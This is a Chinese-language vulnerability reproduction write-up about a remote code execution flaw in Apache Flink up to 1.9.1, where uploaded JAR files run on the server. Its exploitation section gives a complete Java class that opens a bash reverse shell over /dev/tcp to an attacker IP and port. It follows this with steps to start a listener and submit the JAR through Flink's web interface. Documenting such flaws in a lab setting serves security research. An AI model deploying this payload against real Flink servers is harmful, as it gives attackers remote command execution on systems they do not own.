Apache Flink任意Jar包上传导致远程代码执行漏洞复现

0x00 简介

Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。

0x01 Flink应用场景

优化电子商务的实时搜索结果:阿里巴巴的所有基础设施团队使用flink实时更新产品细节和库存信息,为用户提供更高的关联性。

针对数据分析团队提供实时流处理服务:flink通过flink-powered数据分析平台提供实时数据分析,从游戏数据中大幅缩短了观察时间。

网络/传感器检测和错误检测:Bouygues电信公司,是法国最大的电信供应商之一,使用flink监控其有线和无线网络,实现快速故障响应。

商业智能分析ETL:Zalando使用flink转换数据以便于加载到数据仓库,将复杂的转换操作转化为相对简单的并确保分析终端用户可以更快的访问数据。

0x02 Flink站点特征

    默认端口:8081

    实时监听:

Apache Flink任意Jar包上传导致远程代码执行漏洞复现_第1张图片

0x03 漏洞概述

  有安全研究员公开了一个Apache Flink的任意Jar包上传导致远程代码执行的漏洞。攻击者只需要自己定制一个恶意jar上传,即可达到攻击目的。

0x04 影响版本

  <= 1.9.1

0x05 环境搭建

镜像下载地址:

http://archive.apache.org/dist/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

下载好后,解压进入bin文件夹,执行./start-cluster.sh

Apache Flink任意Jar包上传导致远程代码执行漏洞复现_第2张图片

访问http://192.168.33.146:8081可看到环境页面:

Apache Flink任意Jar包上传导致远程代码执行漏洞复现_第3张图片

0x06 漏洞利用

  1. 在Java编程环境中编写jar利用包,代码如下:

package shell;

public class ReverseShell {

   
/**
     * @param
args
    
* @throws Exception
    
*/

   
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
       
Runtime r = Runtime.getRuntime();
       
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.3.97/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"};
       
Process p = r.exec(cmd);
       
p.waitFor();
    }
}

  1. 攻击机(192.168.3.97)开启监听9999端口:

Apache Flink任意Jar包上传导致远程代码执行漏洞复现_第4张图片

  1. 在Submit New Job界面上传第1步生成的jar包:

Apache Flink任意Jar包上传导致远程代码执行漏洞复现_第5张图片

  1. Submit后,成功反弹shell:

Apache Flink任意Jar包上传导致远程代码执行漏洞复现_第6张图片

你可能感兴趣的:(漏洞复现,安全)